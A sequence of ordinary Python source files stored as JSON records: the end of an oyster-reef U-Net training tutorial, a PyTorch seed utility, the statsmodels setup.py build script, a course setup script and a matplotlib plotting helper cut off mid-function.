'two bites at the cherry' function because it facilitates the following situation: the optimal low in the loss landscape was not effectively found by the first loop of progressively lower learning rates. Giving the model a 'second bite' allows it to find a new low by adjusting learning rates to be coarse, so it can hop to different areas of the loss landscape more effectively \n\n# In[ ]:\n\n\nmin_lr = 1e-6\ndef ratedecay(epoch):\n    lrate = min_lr + (max_lr - min_lr) * (\n            1 + np.cos(np.pi*3 * epoch / max_epochs)) / 2\n\n    return lrate\n\nplt.plot(ratedecay(np.arange(max_epochs)))    \n\n\n# Now we have defined all these hyperparameters (parameters that we chose, not automatically determined by the model), we can make a function that builds all the various callbacks together into a list, which can then be passed to the model training (`.fit()` function)\n\n# In[ ]:\n\n\ndef build_callbacks(filepath, lr_ratedecay, lr, steps_per_epoch):\n\n    # set checkpoint file\n    model_checkpoint = ModelCheckpoint(filepath, monitor='val_loss',\n                                   verbose=0, save_best_only=True, mode='min',\n                                   save_weights_only = True)\n\n    # learning rate scheduler setting\n    learning_rate_scheduler = LearningRateScheduler(lr_ratedecay, lr, steps_per_epoch,\n                                                verbose=1)\n\n    callbacks = [model_checkpoint, learning_rate_scheduler, PlotLearning()]\n\n    return callbacks\n\n\n# Next, set up a name for the `.h5` file that will be used to store model weights.\n# \n# Finally, we train the model by calling the `.fit()` command and providing all the generators and hyperparameters defined in the callbacks\n# \n# The number of training and validation steps is simply the number of respective files divided by the batch size\n\n# In[ ]:\n\n\nfilepath = 'reefs_weights_uresnet'+str(batch_size)+'_'+str(max_epochs)+'epochs_cosine_lrscheduler.h5'\n\ntrain_generator = image_batch_generator(train_files, sz, batch_size = batch_size)\nval_generator  = image_batch_generator(val_files, sz, batch_size = batch_size)\ntrain_steps = len(train_files) //batch_size\nval_steps = len(val_files) //batch_size\nsteps_per_epoch = len(train_files) // batch_size\n\nprint(train_steps)\nprint(val_steps)\nprint(steps_per_epoch)\n\nlr_ratedecay = cosine_ratedecay(max_epochs,max_lr)\n\n\n# If you'd rather not wait the 3-6 hours it might take to train the model you should leave the following cell uncommented \n\n# In[ ]:\n\n\nfile_id = '1LyjyOxuzYzmWrwh6kxPVDZZWEzZGehNq'\ndestination = 'weights_part5.h5'\ndownload_file_from_google_drive(file_id, destination)\nmodel.load_weights(destination)\nmax_epochs = 5 #just use 5 epochs\n\n\n# If you wish to train the model your own model, uncomment the cells below\n\n# In[ ]:\n\n\n# hist = model.fit(train_generator,\n#                 epochs = max_epochs, steps_per_epoch = train_steps,\n#                 validation_data = val_generator, validation_steps = val_steps,\n#                 callbacks = build_callbacks(filepath,lr_ratedecay, max_lr, steps_per_epoch))\n\n\n# #### Plot the training history\n\n# In the above, we gave an output variable to the `.fit()` command. This contains the training histories. That is, losses and metrics as a function of epoch. You can access the variables in the dictionary like so\n\n# In[ ]:\n\n\n# hist.history.keys()\n\n\n# Let's make a plot of the histories of both train and validation losses and dice coefficients, and also the history of the learning rate\n\n# In[ ]:\n\n\n# plt.figure(figsize=(20,10))\n# plt.subplot(131)\n# plt.plot(hist.history['dice_coef'], 'b', label='train Dice coefficient')\n# plt.plot(hist.history['val_dice_coef'], 'k', label='validation Dice coefficient')\n# plt.xlabel('Epoch number'); plt.ylabel('Dice coefficent')\n# plt.legend()\n\n# plt.subplot(132)\n# plt.plot(hist.history['loss'], 'b', label='train loss')\n# plt.plot(hist.history['val_loss'], 'k', label='validation loss')\n# plt.xlabel('Epoch number'); plt.ylabel('Loss')\n# plt.legend()\n\n# plt.subplot(133)\n# plt.plot(hist.history['lr'], 'g')\n# plt.xlabel('Epoch number'); plt.ylabel('Learning rate')\n\n\n# ### Test the model\n\n# Get the test set of files and untar like we did the other sets\n\n# In[ ]:\n\n\nfile_id = '1lL6cbUNhwAQsDl4P4LIYiOMOwKxrhq-c'\ndestination = 'test_images.tar.gz'\ndownload_file_from_google_drive(file_id, destination)\n\n\n# In[ ]:\n\n\nget_ipython().system('tar -xf test_images.tar.gz > tmp.txt')\n\n\n# In[ ]:\n\n\nfile_id = '1GVZgjzuVatp-OjU5s5DJOgAteUvN1yDC'\ndestination = 'test_labels.tar.gz'\ndownload_file_from_google_drive(file_id, destination)\n\n\n# In[ ]:\n\n\nget_ipython().system('tar -xf test_labels.tar.gz > tmp.txt')\n\n\n# Get a test generator\n\n# In[ ]:\n\n\ntest_files = glob(root+\"1kx1k_dataset/test_images/*.png\")\n\ntest_generator = image_batch_generator(test_files, sz, batch_size = batch_size)\n\nprint(\"# test files: %i\" % (len(test_files)))\n\n\n# Use the `.evaluate()` function of the model to get average Dice scores and losses for the test set\n# \n# \n\n# In[ ]:\n\n\n# some other training parameters\nsteps = len(test_files) // batch_size\n\n# testing\nscores = model.evaluate(test_generator, steps=steps) \n\nprint('loss={loss:0.4f}, Mean Dice={dice_coef:0.4f}'.format(loss=scores[0], dice_coef=scores[1]))\n\n\n# In the [oysterNet paper](https://zslpublications.onlinelibrary.wiley.com/doi/full/10.1002/rse2.134), the authors reeport a best precision of 0.771 and recall of 0.772. The Dice score is mathematically equivalent to the F1 score, the harmonic mean of precision and recall, or 77%\n# \n# In Part 4, we acheived an average dice score of ~72% using a Dice loss function and adaptive learning rates that were contingent on validation loss\n# \n# This time, with a cyclical learning rate, we acheive ~80% - approximately the same as the original paper (actually, a little higher!)\n", "meta": {"hexsha": "acad3eeb7271c88c9eafe3caae21ea88bcdccfa0", "size": 24300, "ext": "py", "lang": "Python", "max_stars_repo_path": "scripts/Oyster_reefs/Part5_Training_Model3.py", "max_stars_repo_name": "MARDAScience/UNets4IntertidalReefs", "max_stars_repo_head_hexsha": "551c22e29bafe6b01686a833aa881be2b52b6a2a", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "scripts/Oyster_reefs/Part5_Training_Model3.py", "max_issues_repo_name": "MARDAScience/UNets4IntertidalReefs", "max_issues_repo_head_hexsha": "551c22e29bafe6b01686a833aa881be2b52b6a2a", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "scripts/Oyster_reefs/Part5_Training_Model3.py", "max_forks_repo_name": "MARDAScience/UNets4IntertidalReefs", "max_forks_repo_head_hexsha": "551c22e29bafe6b01686a833aa881be2b52b6a2a", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 33.5172413793, "max_line_length": 702, "alphanum_fraction": 0.6911522634, "include": true, "reason": "import numpy", "num_tokens": 6130, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.46879062662624377, "lm_q2_score": 0.12421300348902359, "lm_q1q2_score": 0.05822989174074717}}
{"text": "import torch\nimport numpy as np\nimport random\n\n\ndef setup_determinism(seed: int):\n    \"\"\"Setup random seed so that result is reproducible\n\n    Args:\n        seed (int): Seed number to use\n    \"\"\"\n    np.random.seed(seed)\n    torch.manual_seed(seed)\n    torch.backends.cudnn.deterministic = True  # avoid non-determinstic algo\n    torch.backends.cudnn.benchmark = False\n    random.seed(seed)\n", "meta": {"hexsha": "85291726d98123b14c8c64d0261035d81310a9e5", "size": 391, "ext": "py", "lang": "Python", "max_stars_repo_path": "core/utils/seed.py", "max_stars_repo_name": "vinbigdata-medical/abdomen-phases", "max_stars_repo_head_hexsha": "4adf5b8bf13aec85247d74e3cd3789c52cb88b92", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "core/utils/seed.py", "max_issues_repo_name": "vinbigdata-medical/abdomen-phases", "max_issues_repo_head_hexsha": "4adf5b8bf13aec85247d74e3cd3789c52cb88b92", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "core/utils/seed.py", "max_forks_repo_name": "vinbigdata-medical/abdomen-phases", "max_forks_repo_head_hexsha": "4adf5b8bf13aec85247d74e3cd3789c52cb88b92", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 23.0, "max_line_length": 76, "alphanum_fraction": 0.6982097187, "include": true, "reason": "import numpy", "num_tokens": 96, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.48828339529583464, "lm_q2_score": 0.11920292515117027, "lm_q1q2_score": 0.05820480902200866}}
{"text": "\"\"\"\nTo build with coverage of Cython files\nexport SM_CYTHON_COVERAGE=1\npython setup.py develop\npytest --cov=statsmodels statsmodels\ncoverage html\n\"\"\"\nfrom setuptools import Extension, find_packages, setup\nfrom setuptools.dist import Distribution\n\nfrom collections import defaultdict\nfrom distutils.command.clean import clean\nimport fnmatch\nimport os\nfrom os.path import abspath, join as pjoin, relpath, split\nimport shutil\nimport sys\n\nimport pkg_resources\n\nimport versioneer\n\ntry:\n    # SM_FORCE_C is a testing shim to force setup to use C source files\n    FORCE_C = int(os.environ.get(\"SM_FORCE_C\", 0))\n    if FORCE_C:\n        raise ImportError(\"Force import error for testing\")\n    from Cython import Tempita\n    from Cython.Build import cythonize\n    from Cython.Distutils import build_ext\n\n    HAS_CYTHON = True\nexcept ImportError:\n    from setuptools.command.build_ext import build_ext\n\n    HAS_CYTHON = False\n\ntry:\n    import numpy  # noqa: F401\n\n    HAS_NUMPY = True\nexcept ImportError:\n    HAS_NUMPY = False\n\n###############################################################################\n# Key Values that Change Each Release\n###############################################################################\nSETUP_REQUIREMENTS = {\n    \"numpy\": \"1.17\",  # released July 2019\n    \"scipy\": \"1.3\",  # released May 2019\n}\n\nREQ_NOT_MET_MSG = \"\"\"\n{0} is installed but older ({1}) than required ({2}). You must manually\nupgrade {0} before installing or install into a fresh virtualenv.\n\"\"\"\nfor key in SETUP_REQUIREMENTS:\n    from distutils.version import LooseVersion\n    import importlib\n\n    req_ver = LooseVersion(SETUP_REQUIREMENTS[key])\n    try:\n        mod = importlib.import_module(key)\n        ver = LooseVersion(mod.__version__)\n        if ver < req_ver:\n            raise RuntimeError(REQ_NOT_MET_MSG.format(key, ver, req_ver))\n    except ImportError:\n        pass\n    except AttributeError:\n        raise RuntimeError(REQ_NOT_MET_MSG.format(key, ver, req_ver))\n\nINSTALL_REQUIREMENTS = SETUP_REQUIREMENTS.copy()\nINSTALL_REQUIREMENTS.update(\n    {\n        \"pandas\": \"0.25\",  # released July 2019\n        \"patsy\": \"0.5.2\",  # released January 2018\n        \"packaging\": \"21.3\"\n    }\n)\n\nCYTHON_MIN_VER = \"0.29.22\"  # released 2020\n\nSETUP_REQUIRES = [k + \">=\" + v for k, v in SETUP_REQUIREMENTS.items()]\nINSTALL_REQUIRES = [k + \">=\" + v for k, v in INSTALL_REQUIREMENTS.items()]\n\nEXTRAS_REQUIRE = {\n    \"build\": [\"cython>=\" + CYTHON_MIN_VER],\n    \"develop\": [\"cython>=\" + CYTHON_MIN_VER],\n    \"docs\": [\n        \"sphinx\",\n        \"nbconvert\",\n        \"jupyter_client\",\n        \"ipykernel\",\n        \"matplotlib\",\n        \"nbformat\",\n        \"numpydoc\",\n        \"pandas-datareader\",\n    ],\n}\n\n###############################################################################\n# Values that rarely change\n###############################################################################\nDISTNAME = \"statsmodels\"\nDESCRIPTION = \"Statistical computations and models for Python\"\nSETUP_DIR = split(abspath(__file__))[0]\nwith open(pjoin(SETUP_DIR, \"README.rst\")) as readme:\n    README = readme.read()\nLONG_DESCRIPTION = README\nMAINTAINER = \"statsmodels Developers\"\nMAINTAINER_EMAIL = \"pystatsmodels@googlegroups.com\"\nURL = \"https://www.statsmodels.org/\"\nLICENSE = \"BSD License\"\nDOWNLOAD_URL = \"\"\nPROJECT_URLS = {\n    \"Bug Tracker\": \"https://github.com/statsmodels/statsmodels/issues\",\n    \"Documentation\": \"https://www.statsmodels.org/stable/index.html\",\n    \"Source Code\": \"https://github.com/statsmodels/statsmodels\",\n}\n\nCLASSIFIERS = [\n    \"Development Status :: 4 - Beta\",\n    \"Environment :: Console\",\n    \"Programming Language :: Cython\",\n    \"Programming Language :: Python :: 3.7\",\n    \"Programming Language :: Python :: 3.8\",\n    \"Programming Language :: Python :: 3.9\",\n    \"Operating System :: OS Independent\",\n    \"Intended Audience :: End Users/Desktop\",\n    \"Intended Audience :: Developers\",\n    \"Intended Audience :: Science/Research\",\n    \"Natural Language :: English\",\n    \"License :: OSI Approved :: BSD License\",\n    \"Topic :: Office/Business :: Financial\",\n    \"Topic :: Scientific/Engineering\",\n]\n\nFILES_TO_INCLUDE_IN_PACKAGE = [\"LICENSE.txt\", \"setup.cfg\"]\n\nFILES_COPIED_TO_PACKAGE = []\nfor filename in FILES_TO_INCLUDE_IN_PACKAGE:\n    if os.path.exists(filename):\n        dest = os.path.join(\"statsmodels\", filename)\n        shutil.copy2(filename, dest)\n        FILES_COPIED_TO_PACKAGE.append(dest)\n\nSTATESPACE_RESULTS = \"statsmodels.tsa.statespace.tests.results\"\n\nADDITIONAL_PACKAGE_DATA = {\n    \"statsmodels\": FILES_TO_INCLUDE_IN_PACKAGE,\n    \"statsmodels.datasets.tests\": [\"*.zip\"],\n    \"statsmodels.iolib.tests.results\": [\"*.dta\"],\n    \"statsmodels.stats.tests.results\": [\"*.json\"],\n    \"statsmodels.tsa.vector_ar.tests.results\": [\"*.npz\", \"*.dat\"],\n    \"statsmodels.stats.tests\": [\"*.txt\"],\n    \"statsmodels.stats.libqsturng\": [\"*.r\", \"*.txt\", \"*.dat\"],\n    \"statsmodels.stats.libqsturng.tests\": [\"*.csv\", \"*.dat\"],\n    \"statsmodels.sandbox.regression.tests\": [\"*.dta\", \"*.csv\"],\n    STATESPACE_RESULTS: [\"*.pkl\", \"*.csv\"],\n    STATESPACE_RESULTS + \".frbny_nowcast\": [\"test*.mat\"],\n    STATESPACE_RESULTS + \".frbny_nowcast.Nowcasting.data.US\": [\"*.csv\"],\n}\n\n##############################################################################\n# Extension Building\n##############################################################################\nCYTHON_COVERAGE = os.environ.get(\"SM_CYTHON_COVERAGE\", False)\nCYTHON_COVERAGE = CYTHON_COVERAGE in (\"1\", \"true\", '\"true\"')\nCYTHON_TRACE_NOGIL = str(int(CYTHON_COVERAGE))\nif CYTHON_COVERAGE:\n    print(\"Building with coverage for Cython code\")\nCOMPILER_DIRECTIVES = {\"linetrace\": CYTHON_COVERAGE}\nDEFINE_MACROS = [\n    (\"CYTHON_TRACE_NOGIL\", CYTHON_TRACE_NOGIL),\n    (\"NPY_NO_DEPRECATED_API\", \"NPY_1_7_API_VERSION\"),\n]\n\n\nexts = dict(\n    _stl={\"source\": \"statsmodels/tsa/_stl.pyx\"},\n    _exponential_smoothers={\n        \"source\": \"statsmodels/tsa/holtwinters/_exponential_smoothers.pyx\"\n    },  # noqa: E501\n    _ets_smooth={\n        \"source\": \"statsmodels/tsa/exponential_smoothing/_ets_smooth.pyx\"\n    },  # noqa: E501\n    _innovations={\"source\": \"statsmodels/tsa/_innovations.pyx\"},\n    _hamilton_filter={\n        \"source\": \"statsmodels/tsa/regime_switching/_hamilton_filter.pyx.in\"\n    },  # noqa: E501\n    _kim_smoother={\n        \"source\": \"statsmodels/tsa/regime_switching/_kim_smoother.pyx.in\"\n    },  # noqa: E501\n    _arma_innovations={\n        \"source\": \"statsmodels/tsa/innovations/_arma_innovations.pyx.in\"\n    },  # noqa: E501\n    linbin={\"source\": \"statsmodels/nonparametric/linbin.pyx\"},\n    _qn={\"source\": \"statsmodels/robust/_qn.pyx\"},\n    _smoothers_lowess={\n        \"source\": \"statsmodels/nonparametric/_smoothers_lowess.pyx\"\n    },  # noqa: E501\n)\n\nstatespace_exts = [\n    \"statsmodels/tsa/statespace/_initialization.pyx.in\",\n    \"statsmodels/tsa/statespace/_representation.pyx.in\",\n    \"statsmodels/tsa/statespace/_kalman_filter.pyx.in\",\n    \"statsmodels/tsa/statespace/_filters/_conventional.pyx.in\",\n    \"statsmodels/tsa/statespace/_filters/_inversions.pyx.in\",\n    \"statsmodels/tsa/statespace/_filters/_univariate.pyx.in\",\n    \"statsmodels/tsa/statespace/_filters/_univariate_diffuse.pyx.in\",\n    \"statsmodels/tsa/statespace/_kalman_smoother.pyx.in\",\n    \"statsmodels/tsa/statespace/_smoothers/_alternative.pyx.in\",\n    \"statsmodels/tsa/statespace/_smoothers/_classical.pyx.in\",\n    \"statsmodels/tsa/statespace/_smoothers/_conventional.pyx.in\",\n    \"statsmodels/tsa/statespace/_smoothers/_univariate.pyx.in\",\n    \"statsmodels/tsa/statespace/_smoothers/_univariate_diffuse.pyx.in\",\n    \"statsmodels/tsa/statespace/_simulation_smoother.pyx.in\",\n    \"statsmodels/tsa/statespace/_cfa_simulation_smoother.pyx.in\",\n    \"statsmodels/tsa/statespace/_tools.pyx.in\",\n]\n\n\nclass CleanCommand(clean):\n    def run(self):\n        msg = \"\"\"\n\npython setup.py clean is not supported.\n\nUse one of:\n\n* `git clean -xdf` to clean all untracked files\n* `git clean -Xdf` to clean untracked files ignored by .gitignore\n\"\"\"\n        print(msg)\n        sys.exit(1)\n\n\ndef update_extension(extension, requires_math=True):\n    import numpy  # noqa: F811\n    from numpy.distutils.log import set_verbosity\n    from numpy.distutils.misc_util import get_info\n\n    set_verbosity(1)\n\n    numpy_includes = [numpy.get_include()]\n    extra_incl = pkg_resources.resource_filename(\"numpy\", \"core/include\")\n    numpy_includes += [extra_incl]\n    numpy_includes = list(set(numpy_includes))\n    numpy_math_libs = get_info(\"npymath\")\n\n    if not hasattr(extension, \"include_dirs\"):\n        return\n    extension.include_dirs = list(set(extension.include_dirs + numpy_includes))\n    if requires_math:\n        extension.include_dirs += numpy_math_libs[\"include_dirs\"]\n        extension.libraries += numpy_math_libs[\"libraries\"]\n        extension.library_dirs += numpy_math_libs[\"library_dirs\"]\n\n\nclass DeferredBuildExt(build_ext):\n    \"\"\"build_ext command for use when numpy headers are needed.\"\"\"\n\n    def build_extensions(self):\n        self._update_extensions()\n        build_ext.build_extensions(self)\n\n    def _update_extensions(self):\n        for extension in self.extensions:\n            requires_math = extension.name in EXT_REQUIRES_NUMPY_MATH_LIBS\n            update_extension(extension, requires_math=requires_math)\n\n\ncmdclass = versioneer.get_cmdclass()\nif not HAS_NUMPY:\n    cmdclass[\"build_ext\"] = DeferredBuildExt\ncmdclass[\"clean\"] = CleanCommand\n\n\ndef check_source(source_name):\n    \"\"\"Chooses C or pyx source files, and raises if C is needed but missing\"\"\"\n    source_ext = \".pyx\"\n    if not HAS_CYTHON:\n        source_name = source_name.replace(\".pyx.in\", \".c\")\n        source_name = source_name.replace(\".pyx\", \".c\")\n        source_ext = \".c\"\n        if not os.path.exists(source_name):\n            msg = (\n                \"C source not found.  You must have Cython installed to \"\n                \"build if the C source files have not been generated.\"\n            )\n            raise IOError(msg)\n    return source_name, source_ext\n\n\ndef process_tempita(source_name):\n    \"\"\"Runs pyx.in files through tempita is needed\"\"\"\n    if source_name.endswith(\"pyx.in\"):\n        with open(source_name, \"r\") as templated:\n            pyx_template = templated.read()\n        pyx = Tempita.sub(pyx_template)\n        pyx_filename = source_name[:-3]\n        with open(pyx_filename, \"w\") as pyx_file:\n            pyx_file.write(pyx)\n        file_stats = os.stat(source_name)\n        try:\n            os.utime(\n                pyx_filename,\n                ns=(file_stats.st_atime_ns, file_stats.st_mtime_ns),\n            )\n        except AttributeError:\n            os.utime(pyx_filename, (file_stats.st_atime, file_stats.st_mtime))\n        source_name = pyx_filename\n    return source_name\n\n\nEXT_REQUIRES_NUMPY_MATH_LIBS = []\nextensions = []\nfor config in exts.values():\n    uses_blas = True\n    source, ext = check_source(config[\"source\"])\n    source = process_tempita(source)\n    name = source.replace(\"/\", \".\").replace(ext, \"\")\n    include_dirs = config.get(\"include_dirs\", [])\n    depends = config.get(\"depends\", [])\n    libraries = config.get(\"libraries\", [])\n    library_dirs = config.get(\"library_dirs\", [])\n\n    uses_numpy_libraries = config.get(\"numpy_libraries\", False)\n    if uses_blas or uses_numpy_libraries:\n        EXT_REQUIRES_NUMPY_MATH_LIBS.append(name)\n\n    ext = Extension(\n        name,\n        [source],\n        include_dirs=include_dirs,\n        depends=depends,\n        libraries=libraries,\n        library_dirs=library_dirs,\n        define_macros=DEFINE_MACROS,\n    )\n    extensions.append(ext)\n\nfor source in statespace_exts:\n    source, ext = check_source(source)\n    source = process_tempita(source)\n    name = source.replace(\"/\", \".\").replace(ext, \"\")\n\n    EXT_REQUIRES_NUMPY_MATH_LIBS.append(name)\n    ext = Extension(\n        name,\n        [source],\n        include_dirs=[\"statsmodels/src\"],\n        depends=[],\n        libraries=[],\n        library_dirs=[],\n        define_macros=DEFINE_MACROS,\n    )\n    extensions.append(ext)\n\nif HAS_NUMPY:\n    for extension in extensions:\n        requires_math = extension.name in EXT_REQUIRES_NUMPY_MATH_LIBS\n        update_extension(extension, requires_math=requires_math)\n\nif HAS_CYTHON:\n    extensions = cythonize(\n        extensions,\n        compiler_directives=COMPILER_DIRECTIVES,\n        language_level=3,\n        force=CYTHON_COVERAGE,\n    )\n\n##############################################################################\n# Construct package data\n##############################################################################\npackage_data = defaultdict(list)\nfiletypes = [\"*.csv\", \"*.txt\", \"*.dta\"]\nfor root, _, filenames in os.walk(\n    pjoin(os.getcwd(), \"statsmodels\", \"datasets\")\n):  # noqa: E501\n    matches = []\n    for filetype in filetypes:\n        for filename in fnmatch.filter(filenames, filetype):\n            matches.append(filename)\n    if matches:\n        package_data[\".\".join(relpath(root).split(os.path.sep))] = filetypes\nfor root, _, _ in os.walk(pjoin(os.getcwd(), \"statsmodels\")):\n    if root.endswith(\"results\"):\n        package_data[\".\".join(relpath(root).split(os.path.sep))] = filetypes\n\nfor path, filetypes in ADDITIONAL_PACKAGE_DATA.items():\n    package_data[path].extend(filetypes)\n\nif os.path.exists(\"MANIFEST\"):\n    os.unlink(\"MANIFEST\")\n\n\nclass BinaryDistribution(Distribution):\n    def is_pure(self):\n        return False\n\n\nsetup(\n    name=DISTNAME,\n    version=versioneer.get_version(),\n    maintainer=MAINTAINER,\n    ext_modules=extensions,\n    maintainer_email=MAINTAINER_EMAIL,\n    description=DESCRIPTION,\n    license=LICENSE,\n    url=URL,\n    download_url=DOWNLOAD_URL,\n    project_urls=PROJECT_URLS,\n    long_description=LONG_DESCRIPTION,\n    classifiers=CLASSIFIERS,\n    platforms=\"any\",\n    cmdclass=cmdclass,\n    packages=find_packages(),\n    package_data=package_data,\n    distclass=BinaryDistribution,\n    include_package_data=False,  # True will install all files in repo\n    setup_requires=SETUP_REQUIRES,\n    install_requires=INSTALL_REQUIRES,\n    extras_require=EXTRAS_REQUIRE,\n    zip_safe=False,\n    python_requires=\">=3.7\",\n)\n\n# Clean-up copied files\nfor copy in FILES_COPIED_TO_PACKAGE:\n    os.unlink(copy)\n", "meta": {"hexsha": "4d18efa1f3d1f532ff803dab50cb825be2b902aa", "size": 14168, "ext": "py", "lang": "Python", "max_stars_repo_path": "setup.py", "max_stars_repo_name": "HarryPetr1969/statsmodels", "max_stars_repo_head_hexsha": "fb448540aa0fa354d4cd2fe7b161cb949ce91888", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 12, "max_stars_repo_stars_event_min_datetime": "2018-09-03T14:48:13.000Z", "max_stars_repo_stars_event_max_datetime": "2021-11-28T13:08:15.000Z", "max_issues_repo_path": "setup.py", "max_issues_repo_name": "HarryPetr1969/statsmodels", "max_issues_repo_head_hexsha": "fb448540aa0fa354d4cd2fe7b161cb949ce91888", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 2, "max_issues_repo_issues_event_min_datetime": "2018-09-20T10:47:34.000Z", "max_issues_repo_issues_event_max_datetime": "2018-09-27T10:20:36.000Z", "max_forks_repo_path": "setup.py", "max_forks_repo_name": "HarryPetr1969/statsmodels", "max_forks_repo_head_hexsha": "fb448540aa0fa354d4cd2fe7b161cb949ce91888", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 6, "max_forks_repo_forks_event_min_datetime": "2018-02-18T12:42:41.000Z", "max_forks_repo_forks_event_max_datetime": "2020-08-07T10:36:29.000Z", "avg_line_length": 32.7205542725, "max_line_length": 79, "alphanum_fraction": 0.654079616, "include": true, "reason": "import numpy,from numpy", "num_tokens": 3397, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.40356685373537454, "lm_q2_score": 0.14414885303274058, "lm_q1q2_score": 0.05817369908798602}}
{"text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Mar 21 23:52:54 2019\r\n\r\n@author: RV\r\n\"\"\"\r\n\r\n#%%\r\nimport os\r\nimport pandas as pd\r\nimport numpy as np\r\nimport random\r\nimport sys\r\n\r\nimport scipy\r\nimport sklearn\r\n\r\nfrom matplotlib import pyplot as plt\r\nfrom sklearn.metrics import confusion_matrix as skm_conf_mat\r\nimport sklearn.metrics as skm\r\n\r\nimport datetime as DT\r\n\r\n#%%\r\nprojFld = \"/Users/apple/Desktop/ADEC7430 Big Data Econometrics/Midterm2\"\r\ncodeFld = os.path.join(projFld, \"PyCode\")\r\nfnsFld = os.path.join(codeFld,\"_Functions\")\r\noutputFld = os.path.join(projFld, \"Output\")\r\nrawDataFld = os.path.join(projFld, \"RawData\")\r\nsavedDataFld = os.path.join(projFld, \"SavedData\")\r\n\r\nfnList = [\r\n         \"fn_logMyInfo\"\r\n        ,\"fn_confusionMatrixInfo\"\r\n        ,\"fn_MakeDummies\"\r\n        ,\"fn_InfoFromTree\"\r\n        ] \r\nfor fn in fnList:\r\n    exec(open(os.path.join(fnsFld, fn + \".py\")).read())\r\n\r\n#@@ see how the functions are documented for quick review prior to use - help your own future self...\r\nprint(fn_MakeDummies.__doc__)\r\n\r\n", "meta": {"hexsha": "ed15209a85f1532eff8ac191ec08589904748b5e", "size": 1030, "ext": "py", "lang": "Python", "max_stars_repo_path": "ADEC7430 Big Data Econometrics/Midterm1/PyCode/_Functions/10_Setup.py", "max_stars_repo_name": "sherrytp/bc_f19_econ", "max_stars_repo_head_hexsha": "0d393e54441fd38faba275bb3e718704fbd18d0d", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "ADEC7430 Big Data Econometrics/Midterm1/PyCode/_Functions/10_Setup.py", "max_issues_repo_name": "sherrytp/bc_f19_econ", "max_issues_repo_head_hexsha": "0d393e54441fd38faba275bb3e718704fbd18d0d", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "ADEC7430 Big Data Econometrics/Midterm1/PyCode/_Functions/10_Setup.py", "max_forks_repo_name": "sherrytp/bc_f19_econ", "max_forks_repo_head_hexsha": "0d393e54441fd38faba275bb3e718704fbd18d0d", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 23.4090909091, "max_line_length": 102, "alphanum_fraction": 0.6786407767, "include": true, "reason": "import numpy,import scipy", "num_tokens": 267, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.3629692055196168, "lm_q2_score": 0.1602660283169394, "lm_q1q2_score": 0.05817163296998391}}
{"text": "import os\nfrom datetime import datetime\n\nimport imageio\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\nimport metagrad.module as nn\nfrom metagrad.dataloader import DataLoader\nfrom metagrad.optim import Optimizer\nfrom metagrad.tensor import Tensor\n\n\ndef set_figsize(figsize=(4.9, 3.5)):\n    '''\u8bbe\u7f6ematplotlib\u7684\u56fe\u6807\u5927\u5c0f'''\n    plt.rcParams['figure.figsize'] = figsize\n    plt.subplots_adjust(bottom=0.20)\n\n\ndef set_axes(axes, xlabel, ylabel, xlim, ylim, xscale, yscale, legend):\n    \"\"\"\u8bbe\u7f6ematplotlib\u7684\u8f74\u3002\"\"\"\n    axes.set_xlabel(xlabel)\n    axes.set_ylabel(ylabel)\n    axes.set_xscale(xscale)\n    axes.set_yscale(yscale)\n    axes.set_xlim(xlim)\n    axes.set_ylim(ylim)\n    if legend:\n        axes.legend(legend)\n    axes.grid()\n\n\ndef plot(X, Y=None, xlabel=None, ylabel=None, title=None, saved_fname=None, random_fname=False,\n         legend=None, xlim=None, ylim=None, xscale='linear', yscale='linear',\n         fmts=('-', 'm--', 'g-.', 'r:'), figsize=(3.5, 2.5), axes=None):\n    \"\"\"\u901a\u7528\u753b\u56fe\u7c7b\uff0c\u4fee\u6539\u81ead2l\u5305\"\"\"\n    if legend is None:\n        legend = []\n\n    set_figsize(figsize)\n    axes = axes if axes else plt.gca()\n\n    # \u5982\u679c `X` \u6709\u4e00\u4e2a\u8f74\uff0c\u8f93\u51faTrue\n    def has_one_axis(X):\n        return (hasattr(X, \"ndim\") and X.ndim == 1 or isinstance(X, list)\n                and not hasattr(X[0], \"__len__\"))\n\n    if has_one_axis(X):\n        X = [X]\n    if Y is None:\n        X, Y = [[]] * len(X), X\n    elif has_one_axis(Y):\n        Y = [Y]\n    if len(X) != len(Y):\n        X = X * len(Y)\n    axes.cla()\n    for x, y, fmt in zip(X, Y, fmts):\n        if len(x):\n            axes.plot(x, y, fmt)\n        else:\n            axes.plot(y, fmt)\n    set_axes(axes, xlabel, ylabel, 